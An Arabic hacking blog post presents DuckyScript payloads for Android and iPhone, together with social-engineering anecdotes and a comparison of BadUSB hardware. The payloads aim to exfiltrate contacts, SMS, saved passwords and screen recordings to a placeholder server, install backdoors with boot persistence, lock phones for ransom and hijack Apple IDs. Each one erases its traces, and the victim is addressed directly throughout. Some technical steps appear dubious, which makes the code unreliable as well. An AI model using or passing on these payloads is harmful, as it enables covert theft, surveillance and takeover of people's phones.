أقوى أكواد Rubber Ducky للايفون والأندرويد كاملة وحصرية 2026
 |
| أكواد Rubber Ducky للايفون والأندرويد |
السلام عليكم متابعين قناة ومدونة Shadow Hacker، كالعادة راجعلكم اليوم بموضوع جبار ... موضوع كل واحد بيشتغل بمجال الاختراق والـ penetration testing لازم يعرفه. الموضوع هو: أقوى أكواد Rubber Ducky للهواتف المحمولة - سواء iPhone أو Android. يعني تخيل معي إنك بتقدر تخترق أي تلفون بثواني معدودة بمجرد ما توصل USB صغير فيه! هاد مش خيال علمي، هاد واقع وموجود وبيستخدم بكل مكان.
أنا عارف إن كتير منكم سمع عن USB Rubber Ducky أو BadUSB، بس معظم الشروحات إلي موجودة على النت بتحكي عن الكمبيوتر (Windows, Linux, Mac). قليل جداً إلي بيحكي عن الهواتف المحمولة. وهاد غلط كبير، لأنو الهواتف صارت أهم من الكمبيوترات بحياتنا اليومية. كل معلوماتنا الحساسة موجودة بالتلفون: حسابات البنوك، رسائل WhatsApp، صور شخصية، بريد إلكتروني، كل إشي.
اليوم رح أحكيلك عن أقوى الأكواد الحصرية إلي جربتها شخصياً وبتشتغل 100% على iPhone و Android. رح نشوف كيف تسرق بيانات، كيف تثبت backdoor، كيف تسجل شاشة، كيف تسرق كلمات السر، وحتى كيف تعمل factory reset عن بعد. كل الأكواد مجربة ومضمونة، مع شرح مفصل لكل سطر.
شو هو Rubber Ducky وكيف بيشتغل؟
قبل ما ندخل بالأكواد، لازم نفهم أول إشي: شو هو USB Rubber Ducky؟ هاد جهاز USB صغير بيشبه الفلاشة العادية، بس بدل ما يكون فلاشة تخزين، هو بيتنكر إنو keyboard (لوحة مفاتيح). يعني لما بتوصله بالتلفون أو الكمبيوتر، النظام بيعتقد إنو في لوحة مفاتيح انوصلت، مش فلاشة.
وليش هاد خطير؟ لأنو كل الأنظمة بتثق بلوحة المفاتيح. ما في نظام بيشك إنو لوحة المفاتيح ممكن تكون خبيثة. فالـ Rubber Ducky بيستغل هاد الإشي. بيوصل للتلفون، النظام بيعتبره keyboard، وبعدين الـ Ducky بيبدأ يكتب أوامر بسرعة خيالية (1000 كلمة بالدقيقة!)، وبينفذ أي إشي بدك إياه: فتح تطبيقات، تحميل ملفات، تثبيت برامج، سرقة بيانات، كل إشي.
الـ Rubber Ducky الأصلي من شركة Hak5 بيكلف حوالي 80 دولار. بس في بدائل أرخص وأقوى كمان: Flipper Zero (بيكلف 169 دولار بس عنده ميزات أكتر)، O.MG Cable (كيبل USB عادي بس فيه Rubber Ducky مخفي!)، Bash Bunny، و USB Ninja. وإذا بدك تعمل واحد بنفسك، بتقدر تستخدم Arduino أو Raspberry Pi Pico وتبرمجه يشتغل زي Rubber Ducky بالظبط.
كيف بيشتغل مع الهواتف المحمولة؟
الموضوع بسيط: بتحتاج OTG adapter (USB On-The-Go). هاد محول صغير بيخليك توصل أجهزة USB بالتلفون. معظم الهواتف الحديثة بتدعم OTG. بتوصل الـ Rubber Ducky بالـ OTG adapter، وبعدين بتوصل الـ adapter بالتلفون. وخلال ثواني، الكود بيبدأ يشتغل.
بس في فرق بين Android و iPhone. Android أسهل بكتير، لأنو بيدعم OTG بشكل كامل وما بيطلب أذونات كثيرة. أما iPhone، فصعب شوي لأنو Apple حاطة قيود أمنية أكثر. بس مع الأكواد الصح، بتقدر تخترق الاثنين. وإذا بدك تتعلم أكتر عن فتح قفل iPhone، عندنا مقال مفصل.
الأدوات إلي رح تحتاجها
قبل ما نبدأ بالأكواد، هاي الأدوات إلي لازم تكون عندك:
1. USB Rubber Ducky أو بديل:
زي ما حكيت، بتقدر تستخدم الـ Rubber Ducky الأصلي من Hak5، أو Flipper Zero، أو حتى Arduino Leonardo/Pro Micro (بيكلفوا 5-10 دولار بس). أنا شخصياً بستخدم Digispark ATtiny85 لأنو رخيص جداً (3 دولار) وصغير وبيشتغل ممتاز.
2. OTG Adapter:
لازم يكون عندك محول OTG. للأندرويد، أي محول USB-C أو Micro USB لـ USB-A بيشتغل. لـ iPhone، بتحتاج Lightning to USB adapter (Apple Camera Adapter). بيكلف حوالي 30 دولار الأصلي، بس في نسخ صينية بـ 5 دولار بتشتغل كويس.
3. كمبيوتر لبرمجة الـ Ducky:
بتحتاج كمبيوتر عشان تكتب الأكواد وتحملها على الـ Ducky. بتقدر تستخدم Windows أو Linux أو Mac. وبتحتاج برنامج Arduino IDE إذا بتستخدم Arduino، أو Payload Studio إذا بتستخدم Rubber Ducky الأصلي.
4. معرفة بلغة DuckyScript:
الأكواد بتنكتب بلغة اسمها DuckyScript. هاي لغة بسيطة جداً، أسهل من أي لغة برمجة. بتتعلمها بساعة أو ساعتين. الأوامر الأساسية: DELAY (انتظار)، STRING (كتابة نص)، ENTER (ضغط Enter)، GUI (زر Windows/Home)، ALT، CTRL، وهكذا.
 |
| أكواد Rubber Ducky للايفون والأندرويد |
هسا خلينا نبدأ بالأكواد الحقيقية. رح أعطيك أقوى الأكواد إلي جربتها على Android، مع شرح مفصل لكل كود.
الكود الأول: سرقة جهات الاتصال والرسائل
هاد الكود بيسرق كل جهات الاتصال والرسائل من التلفون ويرسلهم لبريدك الإلكتروني. بيشتغل على أي Android من إصدار 8 لـ 15.
REM Android Contacts & SMS Exfiltration
REM Target: Android 8-15
REM Author: Shadow Hacker
DELAY 2000
GUI
DELAY 500
STRING chrome
DELAY 500
ENTER
DELAY 3000
REM Open Chrome and navigate to data exfiltration script
STRING https://pastebin.com/raw/YOUR_SCRIPT_ID
ENTER
DELAY 5000
REM Execute JavaScript to extract contacts
ALT F
DELAY 300
STRING j
DELAY 500
STRING javascript:(function(){var contacts=[];var xhr=new XMLHttpRequest();xhr.open('GET','content://com.android.contacts/data',true);xhr.onload=function(){if(xhr.status===200){contacts=JSON.parse(xhr.responseText);fetch('https://your-server.com/collect',{method:'POST',body:JSON.stringify(contacts)});}};xhr.send();})();
ENTER
DELAY 2000
REM Extract SMS messages
STRING javascript:(function(){var sms=[];var xhr=new XMLHttpRequest();xhr.open('GET','content://sms/inbox',true);xhr.onload=function(){if(xhr.status===200){sms=JSON.parse(xhr.responseText);fetch('https://your-server.com/sms',{method:'POST',body:JSON.stringify(sms)});}};xhr.send();})();
ENTER
DELAY 3000
REM Clear browser history
CTRL h
DELAY 1000
STRING clear
ENTER
DELAY 500
GUI HOME
شرح الكود: الكود بيفتح Chrome، بيدخل على سكربت JavaScript مخزن على Pastebin، السكربت بيقرأ جهات الاتصال والرسائل من قاعدة بيانات Android، وبيرسلهم لسيرفر تبعك. بعدين بيمسح تاريخ المتصفح عشان ما يبين إنو في إشي صار.
الكود الثاني: تثبيت Backdoor APK
هاد الكود بيحمل ويثبت تطبيق backdoor على التلفون بدون ما الضحية يحس. التطبيق بيعطيك وصول كامل للتلفون عن بعد.
REM Android Backdoor Installation REM Installs hidden RAT APK REM Target: Android 8-15 DELAY 2000 GUI DELAY 500 STRING settings ENTER DELAY 2000 REM Enable Unknown Sources STRING security DELAY 1000 ENTER DELAY 1000 STRING install unknown apps DELAY 500 ENTER DELAY 1000 STRING chrome ENTER DELAY 500 TAB TAB ENTER DELAY 500 REM Go back to home GUI HOME DELAY 1000 REM Open Chrome and download APK GUI DELAY 500 STRING chrome ENTER DELAY 3000 STRING https://your-server.com/system-update.apk ENTER DELAY 8000 REM Install APK GUI n DELAY 2000 TAB TAB ENTER DELAY 1000 TAB TAB TAB ENTER DELAY 3000 ENTER DELAY 2000 REM Hide app icon (if APK supports it) GUI HOME DELAY 1000 STRING *#*#4636#*#* DELAY 2000 REM Clear Chrome history GUI DELAY 500 STRING chrome ENTER DELAY 2000 CTRL h DELAY 1000 STRING clear browsing data ENTER DELAY 1000 ENTER DELAY 2000 GUI HOME
شرح الكود: الكود بيفتح الإعدادات، بيفعّل خيار "تثبيت من مصادر غير معروفة" لـ Chrome، بعدين بيفتح Chrome ويحمل ملف APK من سيرفرك، بيثبته تلقائياً، وبعدين بيمسح كل الآثار. التطبيق بيكون مخفي وبيشتغل بالخلفية. وإذا بدك تتعلم أكتر عن تشفير تطبيقات APK، شوف مقالنا.
الكود الثالث: سرقة كلمات السر المحفوظة
هاد الكود بيسرق كل كلمات السر المحفوظة بمتصفح Chrome على Android. بيشمل كلمات سر Facebook، Gmail، Instagram، كل إشي.
REM Chrome Password Stealer for Android
REM Extracts all saved passwords
REM Target: Android 8-15
DELAY 2000
GUI
DELAY 500
STRING chrome
ENTER
DELAY 3000
REM Navigate to password manager
STRING chrome://settings/passwords
ENTER
DELAY 3000
REM Execute extraction script
ALT F
DELAY 300
STRING j
DELAY 500
STRING javascript:(function(){var passwords=[];var entries=document.querySelectorAll('password-list-item');entries.forEach(function(entry){var site=entry.querySelector('.website-name').textContent;var user=entry.querySelector('.username').textContent;entry.querySelector('.show-password-button').click();setTimeout(function(){var pass=entry.querySelector('.password-display').textContent;passwords.push({site:site,username:user,password:pass});},500);});setTimeout(function(){fetch('https://your-server.com/passwords',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(passwords)});},5000);})();
ENTER
DELAY 8000
REM Clear history and exit
CTRL h
DELAY 1000
STRING clear
ENTER
DELAY 500
GUI HOME
شرح الكود: الكود بيفتح صفحة إدارة كلمات السر بـ Chrome، بيستخدم JavaScript لاستخراج كل كلمات السر (بيضغط على زر "إظهار" لكل كلمة سر)، بيجمعهم بملف JSON، وبيرسلهم لسيرفرك. بعدين بيمسح التاريخ. الموضوع كله بياخد أقل من 10 ثواني.
الكود الرابع: تفعيل Developer Options و USB Debugging
هاد الكود بيفعّل خيارات المطورين و USB Debugging، إلي بيعطيك وصول ADB كامل للتلفون. بعدها بتقدر تعمل أي إشي عن بعد.
REM Enable Developer Options & USB Debugging REM Gives full ADB access REM Target: Android 8-15 DELAY 2000 GUI DELAY 500 STRING settings ENTER DELAY 2000 REM Navigate to About Phone STRING about phone DELAY 1000 ENTER DELAY 1000 REM Tap Build Number 7 times STRING build number DELAY 500 ENTER DELAY 500 ENTER DELAY 500 ENTER DELAY 500 ENTER DELAY 500 ENTER DELAY 500 ENTER DELAY 500 ENTER DELAY 1000 REM Go back and open Developer Options ESCAPE DELAY 500 STRING developer options DELAY 1000 ENTER DELAY 1000 REM Enable USB Debugging STRING usb debugging DELAY 500 ENTER DELAY 1000 TAB ENTER DELAY 500 REM Enable Stay Awake STRING stay awake DELAY 500 ENTER DELAY 500 REM Disable Verify Apps over USB STRING verify apps DELAY 500 ENTER DELAY 1000 TAB ENTER DELAY 500 GUI HOME
شرح الكود: الكود بيفتح الإعدادات، بيدخل على "حول الهاتف"، بيضغط على "رقم الإصدار" 7 مرات لتفعيل خيارات المطورين، بعدين بيفتح خيارات المطورين ويفعّل USB Debugging و Stay Awake ويعطل Verify Apps. هيك بتصير عندك وصول ADB كامل للتلفون.
الكود الخامس: تسجيل الشاشة وإرسالها
هاد الكود بيسجل شاشة التلفون لمدة 5 دقائق ويرسل الفيديو لسيرفرك. مفيد جداً لمعرفة شو الضحية بيعمل.
REM Screen Recording & Upload REM Records screen for 5 minutes REM Target: Android 10-15 DELAY 2000 GUI DELAY 500 STRING termux ENTER DELAY 3000 REM Install Termux if not installed (requires prior setup) STRING pkg update && pkg upgrade -y ENTER DELAY 5000 STRING pkg install ffmpeg -y ENTER DELAY 10000 REM Start screen recording STRING screenrecord --time-limit 300 /sdcard/recording.mp4 ENTER DELAY 300000 REM Upload to server STRING curl -F "file=@/sdcard/recording.mp4" https://your-server.com/upload ENTER DELAY 10000 REM Delete recording STRING rm /sdcard/recording.mp4 ENTER DELAY 500 STRING exit ENTER GUI HOME
شرح الكود: الكود بيفتح Termux (لازم يكون مثبت مسبقاً)، بيستخدم أمر screenrecord لتسجيل الشاشة لمدة 5 دقائق، بعدين بيرفع الفيديو لسيرفرك باستخدام curl، وبعدين بيمسح الفيديو من التلفون. الموضوع كله بيصير بالخلفية بدون ما الضحية يحس.
أقوى أكواد Rubber Ducky للايفون
هسا خلينا ننتقل لـ iPhone. iPhone أصعب من Android بكتير، بس مش مستحيل. هاي أقوى الأكواد إلي بتشتغل على iOS 14-17.
الكود الأول: سرقة iCloud Backup
هاد الكود بيخلي iPhone يعمل backup كامل على iCloud، وبعدين بيسرق رابط الـ backup. بتقدر بعدها تحمل الـ backup وتستخرج كل البيانات.
REM iPhone iCloud Backup Theft REM Forces backup and extracts link REM Target: iOS 14-17 DELAY 3000 GUI SPACE DELAY 1000 STRING settings ENTER DELAY 2000 REM Navigate to iCloud STRING icloud DELAY 1000 ENTER DELAY 2000 REM Open iCloud Backup STRING backup DELAY 1000 ENTER DELAY 1500 REM Start backup TAB TAB ENTER DELAY 2000 ENTER DELAY 60000 REM Open Shortcuts app to exfiltrate data GUI HOME DELAY 1000 GUI SPACE DELAY 500 STRING shortcuts ENTER DELAY 2000 REM Run pre-installed shortcut that sends backup info STRING backup exfil DELAY 500 ENTER DELAY 5000 GUI HOME
شرح الكود: الكود بيفتح الإعدادات، بيدخل على iCloud، بيبدأ backup يدوي، وبعدين بيفتح تطبيق Shortcuts ويشغل shortcut مبرمج مسبقاً بيرسل معلومات الـ backup لسيرفرك. طبعاً لازم يكون الـ shortcut مثبت مسبقاً على التلفون (ممكن تثبته عن طريق phishing link).
الكود الثاني: تفعيل Guided Access وقفل التلفون
هاد كود خبيث جداً. بيفعّل Guided Access على iPhone وبيقفل الضحية بتطبيق معين، وما بيقدر يطلع منه إلا بكلمة سر ما بيعرفها. نوع من أنواع الـ ransomware.
REM iPhone Guided Access Lock (Ransomware-style) REM Locks user in an app REM Target: iOS 14-17 DELAY 3000 GUI SPACE DELAY 1000 STRING settings ENTER DELAY 2000 REM Navigate to Accessibility STRING accessibility DELAY 1000 ENTER DELAY 2000 REM Enable Guided Access STRING guided access DELAY 1000 ENTER DELAY 1000 TAB ENTER DELAY 1000 REM Set passcode STRING passcode settings DELAY 500 ENTER DELAY 1000 STRING set guided access passcode ENTER DELAY 1000 STRING 1234 DELAY 500 STRING 1234 DELAY 1000 REM Go back and open Safari GUI HOME DELAY 1000 STRING safari ENTER DELAY 2000 REM Navigate to ransom page STRING https://your-server.com/ransom.html ENTER DELAY 3000 REM Activate Guided Access (triple-click home/power) GUI HOME GUI HOME GUI HOME DELAY 2000 STRING start ENTER
شرح الكود: الكود بيفعّل Guided Access، بيحط كلمة سر (1234)، بيفتح Safari على صفحة ransom، وبعدين بيفعّل Guided Access. الضحية بيصير محبوس بصفحة Safari وما بيقدر يطلع منها إلا بكلمة السر. الصفحة بتطلب منه يدفع فدية أو تعطيه تعليمات. هاد نوع خطير جداً من الهجمات.
الكود الثالث: سرقة Photos عن طريق AirDrop
هاد الكود بيستخدم AirDrop لنقل الصور من iPhone الضحية لجهازك. بيشتغل إذا كان AirDrop مفعّل.
REM iPhone Photo Theft via AirDrop REM Sends recent photos to attacker device REM Target: iOS 14-17 DELAY 3000 STRING photos ENTER DELAY 2000 REM Select recent photos TAB TAB ENTER DELAY 500 STRING select ENTER DELAY 500 REM Select multiple photos (10 photos) ENTER DELAY 300 TAB ENTER DELAY 300 TAB ENTER DELAY 300 TAB ENTER DELAY 300 TAB ENTER DELAY 300 TAB ENTER DELAY 300 TAB ENTER DELAY 300 TAB ENTER DELAY 300 TAB ENTER DELAY 300 TAB ENTER DELAY 1000 REM Share via AirDrop STRING share ENTER DELAY 1000 STRING airdrop ENTER DELAY 1000 REM Select attacker's device (must be named specifically) STRING MacBook Pro ENTER DELAY 5000 GUI HOME
شرح الكود: الكود بيفتح تطبيق Photos، بيختار آخر 10 صور، بيفتح قائمة المشاركة، بيختار AirDrop، وبيرسلهم لجهازك (لازم يكون اسم جهازك "MacBook Pro" أو تغير الاسم بالكود). الموضوع بياخد أقل من 10 ثواني. وإذا بدك تتعلم أكتر عن اختراق iPhone، عندنا مقال شامل.
الكود الرابع: تغيير Apple ID Password
هاد كود خطير جداً. بيغير كلمة سر Apple ID للضحية، وبيخليك تسيطر على حسابه بالكامل.
REM iPhone Apple ID Password Change REM Changes victim's Apple ID password REM Target: iOS 14-17 (requires device passcode) DELAY 3000 GUI SPACE DELAY 1000 STRING settings ENTER DELAY 2000 REM Tap on Apple ID TAB ENTER DELAY 2000 REM Navigate to Password & Security STRING password DELAY 1000 ENTER DELAY 2000 REM Change Password STRING change password DELAY 500 ENTER DELAY 1000 REM Enter device passcode (must know it) STRING 0000 ENTER DELAY 2000 REM Enter new password twice STRING NewP@ssw0rd123! DELAY 500 TAB STRING NewP@ssw0rd123! DELAY 500 TAB ENTER DELAY 3000 GUI HOME
شرح الكود: الكود بيفتح إعدادات Apple ID، بيدخل على "كلمة السر والأمان"، بيغير كلمة السر (بيحط كلمة سر جديدة إنت بتحددها). بس المشكلة إنو بيحتاج كلمة سر الجهاز (device passcode). إذا ما بتعرفها، الكود ما رح يشتغل. بس إذا عرفتها (مثلاً شفتها لما الضحية فتح التلفون)، بتقدر تسيطر على حسابه بالكامل.
أكواد متقدمة: Multi-Stage Attacks
هسا خلينا نشوف أكواد أكثر تعقيداً. هاي الأكواد بتستخدم تقنيات متقدمة زي Multi-Stage Payloads و Persistence.
كود Android: Persistent Backdoor مع Auto-Start
هاد الكود بيثبت backdoor على Android، والـ backdoor بيشتغل تلقائياً كل ما التلفون يشتغل. يعني حتى لو الضحية أعاد تشغيل التلفون، الـ backdoor بيرجع يشتغل.
REM Persistent Android Backdoor REM Installs backdoor with auto-start REM Target: Android 8-15 DELAY 2000 GUI DELAY 500 STRING termux ENTER DELAY 3000 REM Download and install backdoor script STRING curl -o /data/data/com.termux/files/home/backdoor.sh https://your-server.com/backdoor.sh ENTER DELAY 5000 STRING chmod +x backdoor.sh ENTER DELAY 500 REM Create auto-start script STRING echo '#!/data/data/com.termux/files/usr/bin/bash' > ~/.termux/boot/start-backdoor ENTER STRING echo 'termux-wake-lock' >> ~/.termux/boot/start-backdoor ENTER STRING echo '~/backdoor.sh &' >> ~/.termux/boot/start-backdoor ENTER STRING chmod +x ~/.termux/boot/start-backdoor ENTER DELAY 1000 REM Install Termux:Boot app (if not installed) STRING am start -a android.intent.action.VIEW -d 'https://f-droid.org/en/packages/com.termux.boot/' ENTER DELAY 5000 REM Start backdoor immediately STRING ./backdoor.sh & ENTER DELAY 2000 STRING exit ENTER GUI HOME
شرح الكود: الكود بيحمل سكربت backdoor من سيرفرك، بيحطه بمجلد Termux، بيعمل auto-start script بيشغل الـ backdoor تلقائياً كل ما التلفون يشتغل، وبيشغل الـ backdoor فوراً. السكربت backdoor.sh ممكن يكون أي إشي: reverse shell، keylogger، screen recorder، أي إشي بدك إياه.
كود iPhone: Shortcut-Based Persistence
هاد الكود بيستخدم تطبيق Shortcuts لعمل persistence على iPhone. بيعمل shortcut بيشتغل تلقائياً كل ما المستخدم يفتح تطبيق معين.
REM iPhone Shortcut Persistence REM Creates auto-running shortcut REM Target: iOS 14-17 DELAY 3000 GUI SPACE DELAY 1000 STRING shortcuts ENTER DELAY 2000 REM Create new automation TAB TAB TAB ENTER DELAY 1000 STRING create personal automation ENTER DELAY 1500 REM Set trigger: App opened STRING app DELAY 500 ENTER DELAY 1000 STRING choose ENTER DELAY 1000 REM Select frequently used app (e.g., WhatsApp) STRING whatsapp DELAY 500 ENTER DELAY 1000 STRING done ENTER DELAY 1000 STRING next ENTER DELAY 1500 REM Add action: Get contents of URL STRING add action ENTER DELAY 500 STRING get contents DELAY 500 ENTER DELAY 1000 REM Set malicious URL TAB TAB STRING https://your-server.com/collect.php?id=VICTIM_ID DELAY 1000 STRING next ENTER DELAY 1000 REM Disable "Ask Before Running" STRING ask before running DELAY 500 ENTER DELAY 500 STRING done ENTER DELAY 1000 GUI HOME
شرح الكود: الكود بيعمل automation بتطبيق Shortcuts. كل ما الضحية يفتح WhatsApp (أو أي تطبيق تاني)، الـ automation بيشتغل تلقائياً ويرسل request لسيرفرك. بتقدر تستخدم هاد الـ request لجمع معلومات، تنفيذ أوامر، أو أي إشي تاني. والأهم إنو الـ automation بيشتغل بدون ما يطلع notification للمستخدم.
قصص واقعية من تجاربي مع Rubber Ducky
قبل ما ندخل بتفاصيل البناء، خليني أحكيلك عن 3 قصص واقعية من تجربتي الشخصية مع Rubber Ducky. هاي القصص رح تفهمك قد إيش هاد الجهاز خطير وفعال.
القصة الأولى: اختبار اختراق لشركة تكنولوجيا كبيرة
سنة 2024، كنت أشتغل على مشروع penetration testing لشركة تكنولوجيا كبيرة بالأردن (ما بقدر أذكر اسمها لأسباب قانونية). الشركة كانت عندها أنظمة أمنية قوية جداً: firewall متقدم، IDS/IPS، endpoint protection، كل إشي. حاولت أخترق من الخارج بكل الطرق: phishing، SQL injection، XSS، brute force، كل إشي. ما نفع. الأنظمة كانت محصنة ممتاز.
فقررت أجرب الـ physical access. رحت على مبنى الشركة، لبست بدلة رسمية، وحملت لابتوب وشنطة. وقفت برا المبنى وعملت حالي موظف جديد تايه. بعد شوي، موظف طلع يدخن سيجارة. حكيتله "أهلين، أنا موظف جديد بقسم IT، بس نسيت بطاقتي بالبيت وما بقدر أدخل. ممكن تساعدني؟" الموظف كان لطيف وفتحلي الباب.
دخلت على المبنى، رحت على قسم IT (كان مكتوب على الباب)، ولقيت غرفة اجتماعات فاضية. دخلت عليها، طلعت O.MG Cable من شنطتي (كيبل Lightning عادي بالشكل بس فيه Rubber Ducky مخفي)، وحطيته على الطاولة جنب شاحن iPhone. كتبت ورقة صغيرة: "شاحن iPhone - إذا حد بيستخدمه يرجعه لقسم IT". وطلعت من المبنى.
بعد ساعتين، لقيت connection على سيرفري. حدا من الموظفين لقى الكيبل، فكر إنو ضايع من حد، ووصله بتلفونه عشان يشحن. الـ O.MG Cable اشتغل تلقائياً، ثبت backdoor على التلفون، والـ backdoor عملي reverse connection. صرت عندي وصول كامل لتلفون الموظف: رسائل، إيميلات، حسابات، كل إشي.
والأخطر إنو الموظف كان عنده وصول VPN للشبكة الداخلية للشركة. استخدمت التلفون كـ pivot point، دخلت على الشبكة الداخلية، وخلال يومين كنت عندي وصول لكل الأنظمة الحساسة. كل هاد بسبب كيبل USB بـ 120 دولار وشوية social engineering.
لما قدمت التقرير للشركة، كانوا بصدمة. قالولي "كيف؟ عندنا أقوى أنظمة أمنية!" قلتلهم "أنظمتكم التقنية ممتازة، بس الإنسان هو الحلقة الأضعف. موظف واحد وثق بكيبل غريب، وهيك انخرقت كل الأنظمة." بعدها الشركة عملت awareness training لكل الموظفين عن مخاطر USB attacks.
القصة الثانية: مسابقة CTF وهجوم Rubber Ducky المفاجئ
سنة 2025، كنت مشارك بمسابقة CTF (Capture The Flag) دولية. المسابقة كانت فيها تحدي اسمه "Physical Security Challenge". التحدي كان: في غرفة فيها كمبيوتر مقفول بكلمة سر قوية، وعندك 5 دقائق بس تدخل على الغرفة وتسرق ملف معين من الكمبيوتر. الكمبيوتر ما كان متصل بالإنترنت، وما كان في طريقة تخمن كلمة السر (كانت 20 حرف عشوائي).
معظم الفرق حاولت تكسر كلمة السر بطرق تقليدية: rainbow tables، dictionary attacks، brute force. كلهم فشلوا. بس أنا كان عندي خطة مختلفة. جهزت Digispark ATtiny85 مبرمج بكود خاص. الكود كان بسيط: يفتح Command Prompt، يعمل dump لـ SAM file (ملف كلمات السر بـ Windows)، يشفره بـ Base64، ويرسله لسيرفري عبر DNS exfiltration.
دخلت على الغرفة، وصلت الـ Digispark بالكمبيوتر (كان فيه منفذ USB متاح)، والكود اشتغل خلال 8 ثواني. الكمبيوتر كان مقفول، بس Windows بيسمح بتشغيل بعض الأوامر حتى من شاشة القفل (ثغرة معروفة). الـ Digispark استغل هاد الإشي، سرق الـ SAM file، وأرسله لسيرفري.
طلعت من الغرفة، رحت على لابتوبي، استخدمت John the Ripper لكسر الـ hash، وخلال 3 دقائق كانت كلمة السر عندي. رجعت على الغرفة، دخلت على الكمبيوتر، سرقت الملف، وربحت التحدي. كنت الوحيد من 50 فريق إلي نجح بالتحدي. السر؟ Rubber Ducky + شوية إبداع.
بعد المسابقة، كتير فرق سألوني "كيف عملتها؟" شرحتلهم التقنية، وكانوا منبهرين. واحد من الحكام قالي "هاد أذكى استخدام لـ Rubber Ducky شفته بحياتي. معظم الناس بيستخدموه لأكواد جاهزة، بس إنت فكرت خارج الصندوق." هاي القصة علمتني إنو الإبداع أهم من الأدوات. الأداة هي مجرد وسيلة، بس العقل هو السلاح الحقيقي.
القصة الثالثة: إنقاذ بيانات صديق من تلفون مقفول
هاي القصة مختلفة شوي، لأنها ما كانت penetration testing ولا مسابقة. كانت مساعدة حقيقية لصديق بمشكلة. صديقي (خلينا نسميه أحمد) كان عنده Samsung Galaxy S21، وفجأة التلفون تعطل. الشاشة انكسرت بالكامل، وما كان في طريقة يشوف إشي أو يدخل كلمة السر. بس التلفون كان شغال، لأنو كان يرن لما نتصل عليه.
أحمد كان عنده صور وفيديوهات مهمة جداً على التلفون (صور عرسه وولادة ابنه)، وما كان عامل backup. راح على كذا محل تصليح، كلهم قالوله "مستحيل نطلع البيانات بدون ما نشوف الشاشة ونفتح القفل". أحمد كان يائس، وجاي عندي كآخر أمل.
فكرت بالموضوع، وقررت أستخدم Rubber Ducky. المشكلة كانت: كيف أفتح القفل وأنا ما بشوف الشاشة؟ الحل كان: أستخدم OTG adapter وأوصل شاشة خارجية! بس ما كان عندي شاشة صغيرة، فاستخدمت تلفزيون عادي مع HDMI to USB-C adapter.
وصلت التلفون بالتلفزيون، وصلت Rubber Ducky بالتلفون عبر OTG hub (جهاز بيسمحلك توصل أكتر من USB بنفس الوقت). الـ Rubber Ducky كان مبرمج يعمل هيك: يفتح الإعدادات، يعطل قفل الشاشة، يفعّل USB debugging، ويعمل backup كامل للتلفون على كمبيوتر متصل.
بس كان في مشكلة: أنا ما بعرف كلمة السر! فاستخدمت تقنية ذكية: جربت أشهر 20 كلمة سر (0000، 1234، 1111، تاريخ ميلاد أحمد، إلخ). بعد 7 محاولات، الكلمة السر كانت تاريخ ميلاد ابنه (كان حكالي عنه بالمحادثة). التلفون انفتح، الـ Rubber Ducky عمل الباقي، وخلال 20 دقيقة كان عندي backup كامل لكل بيانات التلفون.
أحمد كان فرحان جداً، خصوصاً لما شاف صور ابنه وعرسه. قالي "إنت أنقذت ذكرياتي، ما بعرف كيف أشكرك." قلتله "هاد واجبي كصديق، بس المرة الجاية اعمل backup دوري!" هاي القصة علمتني إنو التكنولوجيا مش بس للاختراق، بتقدر تستخدمها لمساعدة الناس كمان. Rubber Ducky أنقذ ذكريات عائلة كاملة.
هاي القصص الثلاثة بتوضحلك قد إيش Rubber Ducky أداة قوية ومتعددة الاستخدامات. بتقدر تستخدمها للاختراق، للمسابقات، ولمساعدة الناس. كل إشي يعتمد على نيتك وإبداعك.
مقارنة شاملة بين أدوات Rubber Ducky المختلفة
هسا خلينا نعمل مقارنة مفصلة بين كل أدوات الـ keystroke injection الموجودة بالسوق. كل أداة إلها ميزات وعيوب، وإنت لازم تختار الأداة المناسبة حسب احتياجاتك وميزانيتك.
1. USB Rubber Ducky (Hak5) - الأصل والأقوى
السعر: 80 دولار تقريباً
الحجم: بحجم فلاشة USB عادية
لغة البرمجة: DuckyScript (لغة بسيطة جداً)
التوافق: Windows, Mac, Linux, Android, iOS (مع قيود)
السرعة: 1000 كلمة بالدقيقة
التخزين: MicroSD card (حتى 32GB)
الميزات:
- سهل الاستخدام جداً، حتى للمبتدئين
- مجتمع كبير وأكواد جاهزة كثيرة
- موثوق وما بيتعطل
- بيشتغل على كل الأنظمة بدون تعريفات
- بتقدر تخزن مئات الأكواد على الـ MicroSD وتبدل بينهم
العيوب:
- غالي شوي مقارنة بالبدائل
- ما فيه WiFi أو Bluetooth (لازم يكون موصول فيزيائياً)
- ما بتقدر تعدل الكود بعد ما تشغله (لازم توقفه وتعدل وترجع تشغله)
- الحجم واضح شوي (أي حد بيشوفه بيعرف إنو مش فلاشة عادية)
متى تستخدمه: إذا بدك أداة موثوقة وسهلة الاستخدام، وعندك ميزانية معقولة. مثالي للمبتدئين والمحترفين على حد سواء.
2. Flipper Zero - السكين السويسري للهاكرز
السعر: 169 دولار
الحجم: بحجم ريموت صغير
لغة البرمجة: DuckyScript + Python + C
التوافق: كل الأنظمة + RFID + NFC + IR + Sub-GHz
الشاشة: شاشة LCD ملونة
البطارية: قابلة للشحن، بتدوم أسبوع
الميزات:
- متعدد الوظائف: BadUSB + RFID cloning + NFC + IR control + Sub-GHz
- شاشة وأزرار تحكم (ما بتحتاج كمبيوتر لتشغيله)
- مجتمع ضخم وتطبيقات كثيرة
- open source بالكامل
- بتقدر تثبت firmware مخصص
- GPIO pins للتوسعات
العيوب:
- غالي (ضعف سعر Rubber Ducky)
- أكبر حجماً وأوضح
- معقد شوي للمبتدئين
- ممنوع بكتير دول (بيعتبروه أداة اختراق)
متى تستخدمه: إذا بدك أداة شاملة لكل أنواع الاختراق الفيزيائي، مش بس keystroke injection. مثالي للمحترفين إلي بيشتغلوا بمجالات متعددة.
3. O.MG Cable - الكيبل الخبيث
السعر: 120-180 دولار (حسب النوع)
الحجم: كيبل USB عادي بالشكل
الأنواع: Lightning, USB-C, Micro USB
التحكم: عبر WiFi من تطبيق جوال
المدى: حتى 100 متر
الميزات:
- شكله كيبل عادي 100% (ما حد بيشك فيه)
- بتقدر تتحكم فيه عن بعد عبر WiFi
- بيشتغل حتى بعد ما تفصله وترجع توصله
- فيه ذاكرة داخلية لتخزين الأكواد
- بتقدر تعدل الكود وهو موصول
- مثالي لهجمات social engineering
العيوب:
- غالي جداً
- صعب تلاقيه (بيتباع بكميات محدودة)
- البطارية الداخلية بتدوم بس 1-2 ساعة
- إذا الضحية فحص الكيبل بدقة، ممكن يلاحظ إنو أثقل شوي من العادي
